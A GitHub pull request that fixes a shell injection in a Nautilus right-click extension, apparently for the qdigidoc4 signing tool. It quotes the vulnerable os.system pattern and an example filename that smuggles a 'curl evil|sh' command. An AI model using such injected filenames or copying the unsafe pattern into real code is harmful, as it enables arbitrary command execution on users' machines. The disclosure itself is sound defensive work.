Skip to content

Fix shell injection in Nautilus extension#1407

Open
thistehneisen wants to merge 1 commit into
open-eid:masterfrom
thistehneisen:patch-1
Open

Fix shell injection in Nautilus extension#1407
thistehneisen wants to merge 1 commit into
open-eid:masterfrom
thistehneisen:patch-1

Conversation

@thistehneisen
Copy link
Copy Markdown

@thistehneisen thistehneisen commented May 12, 2026

The right-click "Sign digitally" / "Encrypt files" handlers passed the selected file paths into a shell command string via os.system:

  args += "\"%s\" " % path
  os.system("qdigidoc4 " + args + "&")

Linux filenames may contain any byte except '/' and NUL, including '"', ';', '$', backticks and newlines. A file named e.g. x"; curl evil|sh; " sitting in any folder the user opens with Nautilus would, on right-click + menu activation, execute arbitrary commands as that user – no further prompts. The same pattern was duplicated in the crypto branch.

Replace os.system with subprocess.Popen passing argv as a list, so the filename is delivered to qdigidoc4 directly via execvp() without a shell in between. start_new_session=True detaches the child from Nautilus, preserving the backgrounding behaviour previously emulated by the trailing '&'. The now-unused 'import os' is dropped.

OffSeq Cybersecurity / Nils Putnins / npu@offseq.com
https://offseq.com/ / https://radar.offseq.com

Signed-off-by: Nils Putnins npu@offseq.com

The right-click "Sign digitally" / "Encrypt files" handlers passed the selected file paths into a shell command string via os.system:

      args += "\"%s\" " % path
      os.system("qdigidoc4 " + args + "&")

Linux filenames may contain any byte except '/' and NUL, including '"', ';', '$', backticks and newlines. A file named e.g.  x"; curl evil|sh; " sitting in any folder the user opens with Nautilus would, on right-click + menu activation, execute arbitrary commands as that user – no further prompts. The same pattern was duplicated in the crypto branch.

Replace os.system with subprocess.Popen passing argv as a list, so the filename is delivered to qdigidoc4 directly via execvp() without a shell in between. start_new_session=True detaches the child from Nautilus, preserving the backgrounding behaviour previously emulated by the trailing '&'. The now-unused 'import os' is dropped.

OffSeq Cybersecurity / Nils Putnins / npu@offseq.com
https://offseq.com/ / https://radar.offseq.com
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants